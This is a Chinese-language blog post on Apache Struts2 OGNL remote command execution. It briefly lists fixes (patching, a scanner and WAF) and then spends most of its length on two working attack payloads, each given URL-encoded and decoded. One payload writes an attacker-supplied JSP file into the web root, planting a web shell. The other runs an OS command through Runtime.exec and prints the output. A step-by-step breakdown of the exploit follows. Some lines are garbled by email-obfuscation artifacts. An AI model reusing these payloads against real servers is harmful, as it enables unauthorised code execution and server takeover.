防止Struts远程攻击命令解决方案是:
1.对使用struts2框架的jar包打补丁(升级到官方指定的版本)
2.或者修改对应jar中的ongl处理逻辑,然后编译打包替换旧的文件。
3.可使用安恒信息扫描器检测漏洞,运用安恒信息waf防护漏洞,安全点就只保留字母数字,其它的全部删除即可。
接下来我们看看如何利用strus漏洞远程执行命令进行攻击的方式
第一种攻击方式:新建一个文件,在文件中写入一下自己的东西加上&data=要写入文件he1p.jsp文件中的内容
要攻击的URL?class.classLoader.jarPath=(
%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean(false)%2C+
%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C+
%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C+
%23sb%3Dnew+java.lang.StringBuffer()%2C+%23sb.append(%23req.getRealPath("/"))%2C+
%23sb.append("he1p.jsp")%2C+%23fos%3Dnew+java.io.FileOutputStream(%23sb.toString())%2C+
%23fos.write(%23req.getParameter('data').getBytes())%2C+
%23darky%3D%40org.apache.struts2.ServletActionContext@getResponse().getWriter()%2C+
%23darky.println("suceessful")%2C+
%23darky.close()%2C+
%23fos.close()
)(aa)&x[(class.classLoader.jarPath)('aa')]
上面进行转义后的源码:
要攻击的URL?class.classLoader.jarPath=(
#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+
#_memberAccess["allowStaticMethodAccess"]=true,+
#[email protected]@getRequest(),+
#sb=new+java.lang.StringBuffer(),+
#sb.append(#req.getRealPath("/")),+
#sb.append("he1p.jsp"),+
#fos=new+java.io.FileOutputStream(#sb.toString()),+
#fos.write(#req.getParameter('data').getBytes()),+
#[email protected]@getResponse().getWriter(),+
#darky.println("suceessful"),+
#darky.close(),+
#fos.close()
)(aa)&x[(class.classLoader.jarPath)('aa')]
第二种攻击方式,执行CMD命令
要攻击的URL地址?class.classLoader.jarPath=(
%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean(false)%2C+
%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C+
%23darky%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C+
%23myret%3D%40java.lang.Runtime%40getRuntime().exec("ls -la")%2C+
%23is%3D%23myret.getInputStream()%2C+
%23s%3D+new+java.util.Scanner(%23is).useDelimiter("\\A")%2C+
%23darky.println(%23s.next())%2C+
%23darky.close()
)(aa)&x[(class.classLoader.jarPath)('aa')]
上面代码进行转义后的源码
要攻击的URL地址?class.classLoader.jarPath=(
#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+
#_memberAccess["allowStaticMethodAccess"]=true,+
#[email protected]@getResponse().getWriter(),+
#[email protected]@getRuntime().exec("ls -la"),+
#is=#myret.getInputStream(),+
#s=+new+java.util.Scanner(#is).useDelimiter("\\A"),+
#darky.println(#s.next()),+
#darky.close()
)(aa)&x[(class.classLoader.jarPath)('aa')]
要攻击的URL地址?class.classLoader.jarPath=(
#context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+
#_memberAccess["allowStaticMethodAccess"]=true,+
#[email protected]@getResponse().getWriter(),+
#[email protected]@getRuntime().exec("ls -la"),+
#is=#myret.getInputStream(),+
#s=+new+java.util.Scanner(#is).useDelimiter("\\A"),+
#darky.println(#s.next()),+
#darky.close()
)(aa)&x[(class.classLoader.jarPath)('aa')]
上面攻击代码执行步骤:
1.设置上下文denyMethodExecution=false 运行方法执行
2.
allowStaticMethodAccess=true 允许执行静态方法
3.mycmd="ls -la"定义我们的执行命令的变量
[email protected]@getRuntime().exec(\43mycmd)') (调用静态方法执行我们的变量)
5.mydat=new java.io.DataInputStream(\43myret.getInputStream())') 获取输入流(post)
6.myres=new data[51020];mydat.readfully(myres); 读取输入流
(5,6为了转换输入流的类型)
7.mystr=new java.lang.String(#myres) ;定义并赋值输入流
8.myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的数据
9.myout.getWriter().println(#mystr) ;把response的数据打印到屏幕上。